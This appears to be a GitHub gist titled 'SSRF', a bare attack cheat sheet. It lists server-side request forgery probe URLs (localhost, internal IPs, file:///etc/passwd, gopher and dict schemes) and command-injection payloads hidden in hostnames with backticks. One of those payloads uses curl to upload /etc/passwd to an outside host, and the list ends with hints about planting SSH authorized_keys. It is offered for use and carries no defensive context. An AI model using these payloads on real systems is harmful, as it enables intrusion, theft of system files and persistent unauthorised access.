Skip to content

Instantly share code, notes, and snippets.

@ffcommax
Last active February 22, 2021 16:49
Show Gist options
  • Save ffcommax/cba8f785d8fb7eefde75dca275dc3a96 to your computer and use it in GitHub Desktop.
Save ffcommax/cba8f785d8fb7eefde75dca275dc3a96 to your computer and use it in GitHub Desktop.
SSRF
http://localhost
http://0
http://127.0.0.1
https://localhost
http://localhost:8080
http://192.168.0.1
file:///
file:///etc/passwd
file:///c/
chrome://about
about:addons
file://s/etc/passwd
ftp://
dict://
gopher://
https://blog.safebuff.com/2016/07/03/SSRF-Tips/
---------------------------
https://www.youtube.com/channel/UCIXot2vRgeM5alhAlpTbhQA
https://www.youtube.com/watch?v=apzJiaQ6a3k&feature=emb_rel_pause
`whoami`.mylocal.com
`curl -F ,@/etc/passwd, mylocal.com`.mylocal.com
`echo test | tee /tmp/test`.mylocal.com
`curl -F ,@/tmp/test, mylocal.com`.mylocal.com
ssh-keygen
/home/blabla/.ssh/authorized_keys
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment